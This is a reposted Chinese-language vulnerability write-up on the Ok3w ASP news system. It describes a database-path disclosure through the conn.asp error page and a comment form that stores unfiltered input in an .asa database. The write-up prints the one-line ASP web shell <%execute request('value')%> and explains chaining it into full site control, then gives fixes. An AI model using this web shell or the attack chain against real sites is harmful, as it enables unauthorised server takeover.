文章作者:Tosec信息安全团队
转载
以为篇幅原因相关源码就不发上来了, 有兴趣的兄弟可以百度一下。
首先我们对此系统进行了简单的查看, 以下是相关说明
用户可以浏览的主要页面有:
list.Asp 各个频道页面的列表浏览页面
show.Asp 内容页面的浏览页
about.Asp 关于我们的信息页面
guest.Asp 访客留言页面
以上是90%用户查看的页面, 其他页面没有标注说明
继续查看网站结构, 发现结构上比较清晰, 让管理者很容易的操作和修改其相信信息
同时对在function.asp中作了页面数据提交过滤的一些安全方案, 例如对list的ID数据做了空判断和数字验证, 在search.asp中对提交的数据做了非安全字符替换等安全
一.数据库连接页面出现直接地址
我们直接访问/AppCode/conn.asp地址出现了以下错误, 直接给出了数据库地址
得到网站的敏感信息:
· 错误类型:
Microsoft JET Database Engine (0x80004005)
'C:\Documents and Settings\Cmder\桌面\Ok3w_AspNews\AppCode\Db\Ok3w#30.asa'不是一个有效的路径。 确定路径名称拼写是否正确, 以及是否连接到文件存放的服务器。
/安全分析/AppCode/conn.asp, 第 24 行
· 浏览器类型:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB6; .NET CLR 1.1.4322)
· 网页:
GET /安全分析/AppCode/conn.asp
我们打开conn.asp页面查看, 发现其页面并没有相关数据库连接信息, 以下是页面源代码:
<!--#include file="SysConfig.asp"-->
..(省略N句)
Conn.Open ConnStr
End Sub
%>
我们根据页面信息继续查看sysconfig.asp页面
发现这里设置了数据库的地址, 经过查看地址, 该地址的确存在, 没有错误, 后天也能正常修改和添加相关信息
发生此漏洞的原因:
设计者将conn.asp文件放在appcode目录下, 可能想这样隐蔽conn.asp敏感信息, 缺错误的将文件相关调用信息没有做相应的设置, 导致直接可以查看相关信息
修补方案:
如果将conn.asp以下语句
C & Server.MapPath(dbdns & SysSiteDbPath)
修改成
C & Server.MapPath("../Db/Ok3w#30.asa")
不会直接爆出数据库地址, 但是这样就会引起网站无法正常浏览的问题, 所以建议将appcode目录放置在跟目录下, 修改inculde地址, 彻底解决此问题
二.评论提交没有过滤导致的危险问题
在show.asp页面中有一个评论提交的框架, 我们开始尝试对此评论提交进行安全检测, 首页随便输入一个跨站的脚本, 发现需要后台审核才能显示出来, 是否没有什么漏洞, 但是当我们想下第一个漏洞产生, 那么我们就可以直接在评论中提交一句话木马, 然后获得最终的web文件管理权限, 首先我们开始提交了<%execute request("value")%>木马
我们在联系人和内容都写入了一句话木马, 点击提交按钮
惊奇的发现提示我们提交成功, 由于本地的环境的问题, 我无法直接访问ASA数据库, 为了验证其信息, 我们直接查看了一下ASA数据库
发现了其一句话没有经过任何的过滤导致我们提交成功, 下面我们可以利用一句话木马客户端进行连接
我们可以获得网站的最终管理权限
发生此漏洞的原因:
没有对post提交的数据进行过滤, 导致用户提交的危险代码被直接写入了数据库
修补方案:
我们可以在提交页面写入 include"防注入文件名称", 对提交的数据进行过滤, 对提交用户的信息进行记录, 方便我们查询, 以避免非法用户获得web权限, 也可以直接在function.asp中定义过滤代码
总结:程序设计者往往不能将每一个数据进行过滤或者进行相关的安全操作, 这个需要我们仔细的观察, 本分析报告中典型的说明了程序员在设计中常犯的两个错误!










